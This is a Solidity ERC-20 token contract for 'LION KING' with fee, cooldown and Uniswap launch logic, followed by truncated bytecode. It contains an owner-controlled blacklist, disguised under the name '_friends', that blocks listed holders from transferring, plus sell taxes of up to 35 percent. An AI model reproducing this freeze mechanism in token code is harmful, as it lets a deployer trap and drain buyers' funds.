b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LionKing is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"LION KING"; string private constant _symbol = unicode" LKING "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600981526020017f4c494f4e204b494e470000000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f204c4b494e472000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffff